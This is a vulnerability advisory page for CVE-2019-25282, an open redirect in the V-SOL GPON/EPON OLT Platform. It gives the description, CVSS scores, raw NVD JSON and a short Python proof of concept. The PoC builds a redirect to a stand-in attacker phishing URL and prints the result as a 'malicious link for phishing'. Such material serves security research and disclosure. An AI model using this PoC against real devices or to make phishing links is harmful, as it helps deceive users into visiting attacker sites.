Security Vulnerability Report
中文
CVE-2019-25282 CVSS 9.8 CRITICAL

CVE-2019-25282

Published: 2026-01-08 00:15:58
Last Modified: 2026-04-15 00:35:42

Description

V-SOL GPON/EPON OLT Platform v2.03 contains an open redirect vulnerability in the script that allows attackers to manipulate the 'parent' GET parameter. Attackers can craft malicious links that redirect logged-in users to arbitrary websites by exploiting improper input validation in the redirect mechanism.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

V-SOL GPON/EPON OLT Platform v2.03

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2019-25282 Open Redirect PoC # Target: V-SOL GPON/EPON OLT Platform # Vulnerability: Open redirect via 'parent' parameter import requests target_url = "http://target-olt-device.com/login" malicious_url = "https://attacker-controlled-site.com/phishing" # Construct malicious redirect URL malicious_redirect = f"{target_url}?parent={malicious_url}" print(f"[*] Target: {target_url}") print(f"[*] Malicious Redirect URL: {malicious_redirect}") print(f"[*] Sending crafted request...") # Send request to check if redirect occurs response = requests.get(malicious_redirect, allow_redirects=False) # Check for Location header if 'Location' in response.headers: location = response.headers['Location'] print(f"[!] Open Redirect Confirmed!") print(f"[!] Redirects to: {location}") # Verify if redirect points to external domain if not location.startswith(target_url): print("[!] WARNING: Redirects to external domain!") else: print("[-] No redirect detected or already redirected") # Output malicious link for social engineering attack print(f"\n[*] Malicious Link for phishing:") print(malicious_redirect)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25282", "sourceIdentifier": "[email protected]", "published": "2026-01-08T00:15:58.450", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "V-SOL GPON/EPON OLT Platform v2.03 contains an open redirect vulnerability in the script that allows attackers to manipulate the 'parent' GET parameter. Attackers can craft malicious links that redirect logged-in users to arbitrary websites by exploiting improper input validation in the redirect mechanism."}, {"lang": "es", "value": "La Plataforma V-SOL GPON/EPON OLT v2.03 contiene una vulnerabilidad de redirección abierta en el script que permite a los atacantes manipular el parámetro GET 'parent'. Los atacantes pueden crear enlaces maliciosos que redirigen a los usuarios autenticados a sitios web arbitrarios explotando una validación de entrada incorrecta en el mecanismo de redirección."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2019090193", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/167772", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/154628", "source": "[email protected]"}, {"url": "https://www.vsolcn.com/", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5535.php", "source": "[email protected]"}]}}